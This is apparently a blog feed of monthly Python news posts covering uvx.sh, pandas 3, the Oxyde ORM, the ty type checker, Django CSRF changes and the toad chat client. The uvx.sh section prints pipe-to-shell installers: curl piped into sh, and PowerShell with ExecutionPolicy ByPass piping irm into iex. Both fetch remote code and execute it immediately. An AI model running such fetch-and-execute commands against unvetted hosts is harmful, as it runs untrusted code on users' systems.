https://substackcdn.com/image/fetch/$s_!Uvh-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Uvh-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png" width="651" height="80" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:80,&quot;width&quot;:651,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:10320,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/188226501?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Uvh-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png 424w, https://substackcdn.com/image/fetch/$s_!Uvh-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png 848w, https://substackcdn.com/image/fetch/$s_!Uvh-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png 1272w, https://substackcdn.com/image/fetch/$s_!Uvh-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24747ce8-5884-465a-93c7-5c2a594abc7b_651x80.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Finished. Forgotten.</p><p>And since it&#8217;s all regular SSH and Ubuntu, Claudes loves it. It can deploy like a champ and in a blink. Thanks to the isolation, it also cannot wreck all my services at once in case of an abundance of enthusiasm.</p><p>Is it fast? No. You share 2 CPUs among 25 VMs, it&#8217;s more akin to having a cloud Raspberry Pi.</p><p>But my little WSGI + SQlite setups don&#8217;t need a big boy house before they are ready and polished and perfect.</p><p>So probably never.</p><p>I pay yearly domain name fees for all of them, though.</p><p>Just in case.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">If you need to finish some projects too, why not procrastinate by reading this blog? </p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[What's up Python? Astral's new service, pandas 3 and a new ORM... ]]></title><description><![CDATA[Jan 2026]]></description><link>https://www.bitecode.dev/p/whats-up-python-astrals-new-service</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-up-python-astrals-new-service</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Thu, 05 Feb 2026 21:01:41 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/be4c1100-8b8c-43b6-8061-aff0ea949819_966x966.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><ul><li><p><em>Astral publishes <a href="https://uvx.sh/">UVX.sh</a>, a service that lets anybody install any Python CLI tool published on Pypi without having to deal with Python. Or to even know it&#8217;s Python.</em></p></li><li><p><em><a href="https://pandas.pydata.org/pandas-docs/stable/whatsnew/v3.0.0.html">Pandas 3 is out</a>. It breaks a few things, but the new API avoids many footguns like unexpected mutations and untyped strings.</em></p></li><li><p><em><a href="https://oxyde.fatalyst.dev/latest">A new Python ORM named Oxyde has been released</a>, and for once, it comes with really interesting design choices: async by default yet Django ergonomics and still good perfs, typing validation with pydantics, integrated migrations and n+1 safety nets.</em></p></li><li><p><em>And of course, moar stuff.</em></p><p></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p></li></ul><h2><strong>UVX.sh</strong></h2><p>If we didn&#8217;t have a big announcement from Astral, would it be a month worth living?</p><p>They, rather quietly, published <a href="https://uvx.sh/">UVX.sh</a>, a website that lets you <code>curl install</code> any Python tool. Of course, it uses <code>uvx</code> under the hood (and the <a href="https://uvx.sh/ruff/install.sh">secret sauce</a> is not even that complicated).</p><p>This means you can install things like the excellent video download <a href="https://github.com/yt-dlp/yt-dlp">yt-dlp</a> by typing:</p><pre><code><code>curl -LsSf uvx.sh/yt-dlp/install.sh | sh</code></code></pre><p>On Unix.</p><p>And:</p><pre><code><code>powershell -ExecutionPolicy ByPass -c "irm https://uvx.sh/yt-dlp/install.ps1 | iex"</code></code></pre><p>On Windows.</p><p>It&#8217;s simple and wicked fast. But on top of it, it requires no knowledge of Python whatsoever, something that has always made installing Python tools a barrier in the past.</p><p>Now, because Python has one of the best supports for foreign language interfaces, PyPI is full of tools that are actually not written in Python.</p><p>You can surprisingly install <a href="https://pypi.org/project/nodejs-bin/">nodejs</a>, <a href="https://pypi.org/project/redis-server/">redis</a>, <a href="https://pypi.org/project/rust-just/">just</a> or <a href="https://pypi.org/project/ripgrep/">ripgrep</a>.</p><p>At this point, this makes the whole thing look more and more like homebrew, but faster, and with fewer footguns.</p><p>You can do wild things with it:</p><ul><li><p>Fully bootstrap your project. Because, well, you can install <code>uv</code>, and then run it right after.</p></li><li><p>Run any code file or full repo from anywhere on the web, because well, <a href="https://www.bitecode.dev/i/172879326/a-lot-of-astral-things-happened">uv can just do that</a>.</p></li><li><p>One shot run any cli tool that uses an executable you like available on PyPI without having to wonder where it comes from and where it&#8217;s going. Because, well, <a href="https://www.bitecode.dev/p/uv-tricks">uvx can do that</a>.</p></li></ul><p>You don&#8217;t need to care about your Python setup. The people you give the command to don&#8217;t need either.</p><p>Wanna run a full templated project? One shot <a href="https://copier.readthedocs.io/en/stable/">copier</a>. Wanna convert a file to markdown? One shot <a href="https://github.com/microsoft/markitdown">markitdown</a>. Want to have a great shell to explore a rest API? One shot <a href="https://httpie.io/">httpie</a>. Wanna share this jupyter notebook with your non-python expert colleagues? One shot <a href="https://github.com/manzt/juv">juv</a>.</p><p>This is an idea I played with for some time and talked about on Bluesky before. But the difference between talking and doing is me and Astral.</p><h2><strong>Pandas 3 is out</strong></h2><p><a href="https://pandas.pydata.org/pandas-docs/stable/whatsnew/v3.0.0.html">A big breaking pandas update</a> is here, and it&#8217;s about time.</p><p><a href="https://pandas.pydata.org/">pandas</a>, the most popular data exploration library, has seen its lunch slowly eaten by alternatives with better perfs and a better API such as <a href="https://pola.rs/">polars</a>.</p><p>Time to react.</p><p>There are many changes, but the most important are:</p><ul><li><p>If you store a string in a dataframe, it&#8217;s now a string type by default. Believe it or not, but up until today, pandas assigned it the type of a generic <code>object</code>. This was annoying and slow. Now it&#8217;s just faster and more congruent:</p></li></ul><pre><code><code>import pandas as pd
ser = pd.Series(["a", "b"])
0    a
1    b
dtype: str</code></code></pre><ul><li><p>Copy-on-write behavior is now consistent. Indexing ALWAYS returns a copy of the previous series or dataframe. This means this used to modify the original dataframe:</p></li></ul><pre><code><code>&gt;&gt;&gt; df = pd.DataFrame({"A": [1,2], "B": [3,4]})
&gt;&gt;&gt; s = df["A"]
&gt;&gt;&gt; s.iloc[0] = 100
&gt;&gt;&gt; print(df)
   A  B
0  100  3
1    2  4</code></code></pre><p>But not in pandas 3. Now this prints:</p><pre><code><code> A  B
0  1  3
1  2  4</code></code></pre><p>Because the series is a copy. This avoids the problem where, sometimes, indexing returned a copy, and sometimes a reference. Now it&#8217;s always a copy, and you know what you get.</p><p>Want to modify the original dataframe? Index it directly:</p><pre><code><code>&gt;&gt;&gt; df.loc[0, "A"] = 100
&gt;&gt;&gt; df

     A  B
0  100  3
1    2  4</code></code></pre><p>The goal is to encourage a more functional style in the long run. But for now the imperative style is still the most convenient for cell operations.</p><ul><li><p>However, for column-based operation, the new <code>col</code> object is great for functional style:</p></li></ul><p>Before:</p><pre><code><code>&gt;&gt;&gt; df = pd.DataFrame({'a': [1, 1, 2], 'b': [4, 5, 6]})
&gt;&gt;&gt; df.assign(c=lambda df: df['a'] + df['b'])

   a  b  c
0  1  4  5
1  1  5  6
2  2  6  8</code></code></pre><p>With <code>col</code>:</p><pre><code><code>&gt;&gt;&gt; from pandas import col
&gt;&gt;&gt; df.assign(c=col('a') + col('b'))

   a  b  c
0  1  4  5
1  1  5  6
2  2  6  8</code></code></pre><p>This allow to use a functional style instead of an imperative style without needing a <code>lambda</code> in the way.</p><p>Of course, all that stuff will break a lot of pandas code, so don&#8217;t upgrade old projects on a whim. But if you start a new project and you want to use pandas instead of polars, then this will make your pandas code faster, more robust, and encourage better patterns.</p><h2><strong>There is a new ORM in town</strong></h2><p>There are a lot of ORMs in the Python world, but practically, I use 3:</p><ul><li><p>Django&#8217;s ORM, when I can, because it&#8217;s the most convenient. If I want perfs, I write SQL manually.</p></li><li><p>SQLAlchemy when I want an ORM, but I&#8217;m not on Django. Or when I want an abstraction without ORM.</p></li><li><p>Peewee, when I need a quick DB thing and I don&#8217;t need anything fancy or good integration.</p></li></ul><p>Each of them has their problems:</p><ul><li><p>Their async story is not great.</p></li><li><p>Django&#8217;s ORM is framework-dependent. Also, it has the worst perfs of all. Still my favorite because the ergonomics are amazing.</p></li><li><p>SQLAlchemy is really hard to use correctly. Most SQLA projects out there commit some crime or another while using it. And it&#8217;s damn verbose.</p></li><li><p>Peewee has super limited integration with other tools, and not much benefit compared to the others except being lightweight. A good selling point, mind you, I&#8217;m not denying it.</p></li></ul><p>And I&#8217;ve been looking at every new ORM coming around the corner, and none appealed to me. They never had this thing that led me to think that the cost of trying it out would be offset by what they had to offer.</p><p>Until <a href="https://oxyde.fatalyst.dev/latest/">oxyde ORM</a> just came out:</p><ul><li><p>It&#8217;s async by default.</p></li><li><p>It supports type hints quite naturally.</p></li><li><p>It has Django&#8217;s ORM&#8217;s ergonomics, but without annoying stuff like magical id, table inheritance shotguns and n+1 honeypots.</p></li><li><p>It&#8217;s faster (per their <a href="https://oxyde.fatalyst.dev/latest/advanced/benchmarks/">benchmark</a>) than all the alternatives.</p></li><li><p>It&#8217;s using Pydantic models like SQLModel, but without the boilerplate.</p></li><li><p>Good support for transaction, raw sql, and serialization.</p></li><li><p>It comes with built-in <code>explain()</code> method.</p></li><li><p>It has a decent API for DB-specific settings, like a <code>sqlite_journal_mode="WAL"</code> knob and a configurable pool setting class that you can easily use.</p></li><li><p>It has separate pre/post_create/delete hooks.</p></li><li><p>It does migrations out of the box.</p></li></ul><p>I really like what I&#8217;m seeing.</p><p>I haven&#8217;t used it in a real project yet, and it will take some time before I do, but I played with it using about 100,000 objects in a CRUD demo using movies and actors, and it&#8217;s been nice. This is nice to read:</p><pre><code><code>from __future__ import annotations

from typing import Optional

from oxyde import OxydeModel, Field


class Genre(OxydeModel):
    """Movie genre."""

    id: Optional[int] = Field(default=None, db_pk=True)
    name: str = Field(db_unique=True)

    class Meta:
        is_table = True
        table_name = "genres"


class Director(OxydeModel):
    """Movie director."""

    id: Optional[int] = Field(default=None, db_pk=True)
    name: str = Field(db_index=True)
    birth_year: Optional[int] = Field(default=None)
    country: Optional[str] = Field(default=None)

    class Meta:
        is_table = True
        table_name = "directors"


class Actor(OxydeModel):
    """Movie actor."""

    id: Optional[int] = Field(default=None, db_pk=True)
    name: str = Field(db_index=True)
    birth_year: Optional[int] = Field(default=None)
    country: Optional[str] = Field(default=None)

    class Meta:
        is_table = True
        table_name = "actors"


class Movie(OxydeModel):
    """Movie entry."""

    id: Optional[int] = Field(default=None, db_pk=True)
    title: str = Field(db_index=True)
    year: int = Field(db_index=True)
    rating: Optional[float] = Field(default=None)
    duration_minutes: Optional[int] = Field(default=None)
    synopsis: Optional[str] = Field(default=None)
    # Optional at Python level to allow director_id=N syntax, but NOT NULL in DB
    director: Optional[Director] = Field(default=None, db_nullable=False, db_on_delete="RESTRICT")
    genre: Optional[Genre] = Field(default=None, db_on_delete="SET NULL")

    class Meta:
        is_table = True
        table_name = "movies"


class MovieActor(OxydeModel):
    """Many-to-many relationship between movies and actors."""

    id: Optional[int] = Field(default=None, db_pk=True)
    movie_id: int = Field(db_fk="movies.id", db_on_delete="CASCADE", db_index=True)
    actor_id: int = Field(db_fk="actors.id", db_on_delete="CASCADE", db_index=True)

    class Meta:
        is_table = True
        table_name = "movie_actors"
</code></code></pre><p>And it&#8217;s nice to use:</p><pre><code><code>&gt;&gt;&gt; await Movie.objects.first() # you can't n+1 yourself to death

Movie(
    id=1,
    title='Cross-Group Impactful Conglomeration',
    year=1979,
    rating=2.6,
    duration_minutes=87,
    synopsis='Show couple military indeed subject vote grow. Company however quite especially culture relationship.',
    director=None,
    genre=None,
    director_id=2332,
    genre_id=27
)

&gt;&gt;&gt; await Movie.objects.join("director").first()
Movie(
    id=1,
    title='Cross-Group Impactful Conglomeration',
    year=1979,
    rating=2.6,
    duration_minutes=87,
    synopsis='Show couple military indeed subject vote grow. Company however quite especially culture relationship.',
    director=Director(id=2332, name='Ashley Morton', birth_year=1969, country='UK'),
    genre=None,
    director_id=2332,
    genre_id=27
)
&gt;&gt;&gt; (await Movie.objects.join("director").first()).director.model_dump()
{'id': 2332, 'name': 'Ashley Morton', 'birth_year': 1969, 'country': 'UK'}
&gt;&gt;&gt; await Movie.objects.filter(director__name__contains="daniel").count()
1046
&gt;&gt;&gt; Director.objects.create(name="Foo", birth_year=1990, country=1)
&lt;coroutine object QueryManager.create at 0x752a14efa640&gt;
&gt;&gt;&gt; await Director.objects.create(name="Foo", birth_year=1990, country=1)
Traceback (most recent call last):
...
ValidationError: 1 validation error for Director
country
  Input should be a valid string [type=string_type, input_value=1, input_type=int]
    For further information visit https://errors.pydantic.dev/2.12/v/string_type

&gt;&gt;&gt; await Director.objects.create(name="Foo", birth_year=1990, country="uk")
Director(id=5001, name='Foo', birth_year=1990, country='uk')</code></code></pre><p>You see, one thing that I positively love about Django&#8217;s ORM and hate about SQLA is the session management. Yes, SQLA gives you more granularity to use fully your DB features and the various compromises about isolation levels, rollback strategies and so forth. But in the vast majority of my projects, I don&#8217;t want to spend mental energy on that. I just want to have a big transparent connection pool that will automatically make the Pareto decision.</p><p>In fact, I&#8217;ve been way more often in a situation where I joined a project with a disastrous SQLA session management that caused a ton of problems because the team didn&#8217;t understand the subtleties of the topic, than I got into trouble because of Django automatic behavior.</p><p>In this shell example, you can see I don&#8217;t have to care about <code>connection</code>, <code>session</code>, <code>commit</code>. And I love that.</p><p>So Oxyde seems not only to be a good compromise between the 3 ORMs I like, but more performant, with typing and good async integration to be used in FastAPI.</p><p>One of the consequences of this is that you can use modern Python features very naturally, like task groups:</p><pre><code><code>async with asyncio.TaskGroup() as tg:
    user_task = tg.create_task(User.objects.get(id=1))
    posts_task = tg.create_task(Post.objects.filter(author_id=1).all())

user = user_task.result()
posts = posts_task.result()</code></code></pre><p>This means making parallel I/O very clean and simple. I/O is a low-hanging fruit for perfs in web projects, and this part has always been harder than necessary in Python.</p><p><code>ty</code> can happily check the codebase, because it&#8217;s all regular typing. And since your models are just Pydantic under the hood, you can use any Pydantic validator and serializer your heart desires.</p><p>What&#8217;s not to love?</p><p>Well, the fact that it&#8217;s version 0.3 and that with db stuff, you really, REALLY want mature tech that will be maintained in 10 years. So I&#8217;m going to keep exploring it, but I&#8217;m not going to commit to that tech for important things.</p><p>Of course, this also means the doc needs some love. What&#8217;s more, some design decisions are not to my liking:</p><ul><li><p>An implicitly imported Python config file is one of the worst warts of Django. Copying that is a terrible idea.</p></li><li><p>Detecting automatically models.py kinda makes sense in a framework, but not for a generic lib.</p></li><li><p>There is no sync API. I like that async is the default, and having to maintain 2 API is a pain. I get it. But typing await everywhere in a script or in the shell is not a fun experience. I wish I could do <code>SyncUser = User.get_sync_model()</code> for those use cases.</p></li></ul><p>Still, I&#8217;m happy it exists, it&#8217;s a tremendous new project. Let&#8217;s see where it&#8217;s going.</p><h2><strong>And as per tradition now, moar</strong></h2><ul><li><p><a href="https://simonwillison.net/2026/Feb/4/distributing-go-binaries/#atom-everything">It&#8217;s now easier than ever to distribute Go binaries on pypi.</a>. Gonna mix well with uvx.sh.</p></li><li><p><code>build</code> is out in 1.4, <a href="https://bsky.app/profile/hynek.me/post/3mbxsphwl3k2b">adding straighforward dump of package metadata</a>.</p></li><li><p><a href="https://savannah.dev/posts/the-coolest-feature-in-314/">Core dev Savannah Ostrowski releases debugwand</a>: a zero-preparation remote debugger for Python applications running in Kubernetes clusters or Docker containers</p></li><li><p>Anthropic (the company behind Claude code) <a href="https://fosstodon.org/@ThePSF/115887913929689848">is investing $1.5 million in the PSF</a>, focused on security.</p></li><li><p><a href="https://cur.at/rApsZPL?m=web">Python dev survey for 2026 is out</a>. It takes 20 minutes, and is super interesting each year. Please fill it out!</p></li><li><p>The French gov is working on alternatives to American tech. <a href="https://www.bitecode.dev/p/the-eu-can-be-shut-down-with-a-few">I wrote about why it&#8217;s absolutely imperative for our survival</a> before it was cool. The first round of tools uses Django as a backend.</p></li><li><p><a href="https://x.com/charliermarsh/status/2006792788369965393">Astral reveals it&#8217;s been using AI regularly.</a> Armin Ronacher, Antirez, Linus Torvald, and now them. People who said AI was not a serious coding tool have lost credibility forever in my mind. Of course, I now expect the pivot where said people will argue they never said that, but I won&#8217;t waste time engaging with them anymore.</p></li><li><p><a href="https://djangopackages.org/changelog/new-tailwind-css-theme/">The excellent Django packages website gets a new design</a>. This is just an opportunity for me to talk about this old gold nugget to find django related libraries. It&#8217;s using <code>tailwind</code> and <code>htmx</code>, two technologies that again many people said were not for serious use. I&#8217;m sensing a recurring theme.</p></li><li><p><a href="https://wagtail.org/blog/whats-new-in-wagtail-february-2026/">The great Django CRM engine Wagtail gets a new version</a> that includes a very welcome autosave feature.</p></li><li><p>And the usual updates for Python: <a href="https://pythoninsider.blogspot.com/2026/01/python-3150-alpha-5-yes-another-alpha.html">3.15 alpha</a>, <a href="https://pythoninsider.blogspot.com/2026/02/python-3143-and-31312-are-now-available.html">3.14.13 and 3.13.12</a>.</p></li></ul><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">You know how that goes. I tell you how great this blog is and subscribe. You feel forced, and you force close the browser. The usual.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[What’s up Python? Astral's new type checker, McGugan's new tool and Django new CSRF protection]]></title><description><![CDATA[December 2025]]></description><link>https://www.bitecode.dev/p/whats-up-python-astrals-new-type</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-up-python-astrals-new-type</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Tue, 30 Dec 2025 11:07:52 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/625963d0-8c51-4347-bc3a-0b3b8b9f46c5_966x966.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>Summary</strong></h1><p><em>It&#8217;s the end of the year as you know it, and we close 2025 with the release of <a href="https://docs.astral.sh/ty/">ty</a>, the little brother of </em><code>ruff</code><em> and </em><code>uv</code><em>, that will take care of your code&#8217;s type. But, surprise, it goes beyond that!</em></p><p><em>On top of this, Django seems to <a href="https://github.com/django/new-features/issues/98">move away</a> from the dreaded CSRF token.</em></p><p><em>And finally, the author of </em><code>rich</code><em> and </em><code>textual</code><em> has a new AI toy, just for you: <a href="https://github.com/batrachianai/toad">toad</a>, an agent-agnostic chat UI.</em></p><p><em>Plus, of course, moar stuff.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Astral officially releases its type checker</strong></h2><p>After the exceptional <a href="https://github.com/astral-sh/ruff">ruff</a> and <a href="https://github.com/astral-sh/uv">uv</a>, a lot of people were eagerly waiting for Charlie Marsh&#8217;s team to provide an alternative to <a href="https://github.com/python/mypy">mypy</a> and <a href="https://github.com/microsoft/pyright">pyright</a>. The project, first known by the codename <code>redknot</code>, was developed in the open, so you could actually get the branch and install it yourself to test it at any time, but it was really immature.</p><p>However, this month they posted <a href="https://docs.astral.sh/ty/">ty</a>&#8216;s first release, in beta quality, and in typical Astral fashion, they already did <a href="https://github.com/astral-sh/ty/releases">5 more since then</a>.</p><p>So what to make of it?</p><p>It&#8217;s as fast as you can expect from their work. Virtually instant. If you have used the painfully slow competition in the past, you get once again this &#8220;wow&#8221; feeling in the transition.</p><p>And it&#8217;s unfinished. Typing is complicated, <code>ty</code> has many gaps and holes that will still take months of iteration to fix. That&#8217;s why they have a beta.</p><p>But while I wouldn&#8217;t use it with my clients just yet, I&#8217;m definitely using it in all my personal projects already, because the convenience of it is worth the missing features.</p><p>You see, <code>ty</code> is not just a command-line type checker; it&#8217;s also a Language Server Protocol service, which means you can replace the Python support of the best editors with it, including <a href="https://github.com/microsoft/pylance-release">pylance</a> in VSCode. It even has <a href="https://marketplace.visualstudio.com/items?itemName=astral-sh.ty">its dedicated extension</a>.</p><p>This means not only is your code type checked with <code>ty</code> in a fast and efficient manner, but also &#8220;go to definition&#8221;, display of inlays, docstring tooltips (including non-standard <a href="https://discuss.python.org/t/revisiting-attribute-docstrings/36413/21?page=2">attribute docstrings</a>), and, more importantly, completion and automatic import, are done with it.</p><p><strong>There is currently no alternative in the market to this LSP</strong>. It will let you type any class name in a file and instantly offer you a list of names from anywhere in your code base and deps, while adding the import automatically in the blink of an eye.</p><p>Pylance and PyCharm sort of do that, but it&#8217;s less precise, reliable, and much slower.</p><p>This is the killer feature, right now. Not the type checking.</p><p>Now, don&#8217;t get me wrong, the type checking is useful, but it&#8217;s the cherry on the cake.</p><p><code>ty</code>&#8216;s type checking is, as I said, incomplete. For example, <code>Self</code> support is <a href="https://github.com/astral-sh/ruff/pull/22208">to be improved</a>, but as you can see, they are already on it.</p><p>However, it can already do useful things that others can&#8217;t.</p><p>Let&#8217;s take this example from their doc:</p><pre><code><code>class Person:
    name: str

class Animal:
    species: str

def greet(being: Person | Animal | None):
    if hasattr(being, "name"):
        print(f"Hello, {being.name}!")
    else:
        print("Hello there!")</code></code></pre><p>As a human, you know that if it&#8217;s either a <code>Person</code>, an <code>Animal</code> or <code>None</code>, this code is valid. And if the object has an attribute <code>name</code>, it&#8217;s a <code>Person</code>.</p><p>Yet both <code>pyright</code> and <code>mypy</code> are not smart enough to understand this.</p><p><code>pyright</code> stays stuck on the idea that if it&#8217;s an animal, <code>being.name</code> is going to fail:</p><pre><code><code>pyright greet.py
greet.py
  greet.py:9:31 - error: Cannot access attribute "name" for class "Animal"
    Attribute "name" is unknown (reportAttributeAccessIssue)
  greet.py:9:31 - error: "name" is not a known attribute of "None" (reportOptionalMemberAccess)
2 errors, 0 warnings, 0 informations</code></code></pre><p>As <code>pyright</code>, <code>mypy</code> thinks that <code>None</code> can&#8217;t have a name, so this can&#8217;t be right.</p><pre><code><code>mypy greet.py
greet.py:9: error: Item "None" of "Person | Animal | None" has no attribute "name"  [union-attr]
Found 1 error in 1 file (checked 1 source file)</code></code></pre><p><code>ty</code> sees the <code>hasattr()</code> check and resolves the type.</p><p>In general <code>ty</code> chooses practicality by reporting the most useful, relevant problems instead of trying to be pedantic about types and printing a wall of false positives. Soon, we might be able to opt in for <a href="https://github.com/astral-sh/ty/issues/1240">a stricter policy</a> for projects that requires to awaken the OCD warrior in you.</p><p>But meanwhile, this is accepted by <code>ty</code>:</p><pre><code><code>a = [1]
a.append("i'm not an int")
a.pop() + 1</code></code></pre><p><code>mypy</code> and <code>pyright</code> will tell you to remove the ambiguity, either by annotating a more lenient type like <code>list[int|str]</code> and therefore get flagged on the <code>pop()</code>, or removing the offending <code>append()</code>.</p><p>Practice will tell if Pareto or strictness wins on this one. Maybe I will like having both behaviors available, as I do hate false positives, but sometimes want a very strong safety net, depending on contexts. Maybe it will be... a tie.</p><p>Meanwhile, you know you can give it a try with <code>uvx ty check</code> and get decent type checking at light speed with <a href="https://docs.astral.sh/ty/features/diagnostics/#example-typed-dictionaries">much better error messages.</a></p><h2><strong>Django is getting less obnoxious CSRF protection</strong></h2><p><a href="https://www.djangoproject.com/">Django</a> has best-in-class security default settings; one of the numerous reasons it&#8217;s still my first pick. One of them is the prevention of <a href="https://owasp.org/www-community/attacks/csrf">Cross Site Request Forgery</a>, an attack that targets cookie authentication and permission systems.</p><p>It works by abusing the fact that non <code>GET</code> HTTP requests (<code>POST</code> for most scenarios) can be sent from browsers visiting a malicious &#8220;evil.com&#8221; site, to another &#8220;target.com&#8221; site, BUT with parameters from &#8220;evil.com&#8221;, and YET with valid cookies from the user for &#8220;target.com&#8221;.</p><p>Django mitigates that by adding a unique sequence of characters (the csrf token) in every forms that come from the &#8220;target.com&#8221; site and checks if it exists in the requests it receives. Since &#8220;evil.com&#8221; cannot have the token, its requests are denied.</p><p>This feature is one of the most annoying things to deal with, however, and people are quickly tempted to disable this protection to avoid the dreaded &#8220;CSRF token missing or incorrect&#8221; error message.</p><p>But a better way has existed for two years, a simpler header to set:</p><p><code>Sec-Fetch-Site: same-origin</code>, <a href="https://caniuse.com/?search=Sec-Fetch-site">supported by 95% of web browsers</a>, with a fallback on the <code>Origin</code> header since it&#8217;s been here for a long time.</p><p>And as the OWASP recommendation <a href="https://github.com/OWASP/CheatSheetSeries/pull/1875/files">is being updated</a> to suggest you can actually do that in the corporate world, <a href="https://github.com/django/new-features/issues/98">Django is moving in the same direction</a>.</p><p>What does it mean for us?</p><p>Short term, not much, as it won&#8217;t be merged for the next release, but long term, something like <a href="https://github.com/feliperalmeida/django-modern-csrf">django-modern-csrf</a>, meaning a mostly transparent CSRF protection. No token, no form manipulation, just a check that the requests come from your site, which is done automatically for you.</p><p>Now, to be honest, my first reaction was a bolt of joy, akin to when I heard Python was going to use UTF8 everywhere automatically. Finally, fewer errors! No config! Beginners will not have to suffer anymore!</p><p>But then I realized something:</p><ul><li><p>CSRF only affects SPAs that rely on cookies for auth. So very few of them. And SPAs are pretty popular these days.</p></li><li><p>I can&#8217;t recall the last time I had to configure this, since AI will automatically settle the matter for me.</p></li></ul><p>So in the modern world, CSRF token errors were kinda becoming a non-issue anyway.</p><p>It&#8217;s very possible that my enthusiasm about this development is more a reflection of how old I am than a real game-changer.</p><p>Look, I&#8217;m happy about it, ok?</p><h2><strong>Where there is a Will McGugan there is a way</strong></h2><p><a href="https://bsky.app/profile/willmcgugan.bsky.social/post/3mabljnlies2k">In a recent post</a>, <a href="https://github.com/Textualize/textual">textual</a> and <a href="https://github.com/Textualize/rich">rich</a>&#8216;s author announced the release of his new Python project, a AI chat client using <code>textual</code> named <a href="https://github.com/batrachianai/toad">toad</a>.</p><p>The UI is super clean:</p><div id="youtube2-ZLhctxHFBqE" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;ZLhctxHFBqE&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/ZLhctxHFBqE?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>It&#8217;s compatible with all big names in the LLM industry, thanks to the <a href="https://agentclientprotocol.com/protocol/initialization">Agent Client Protocol</a>.</p><p>It has code coloration, the ability to edit back previous entries, completion for all commands (including <code>@</code> a file), pass-through calls to the shell, and all the nice ergonomics you expect from this terminal whisperer.</p><p>Of course, you can install it in a non-python related way, but, since it&#8217;s python you can also give it a quick try with:</p><pre><code><code>uv tool install -U batrachian-toad --python 3.14
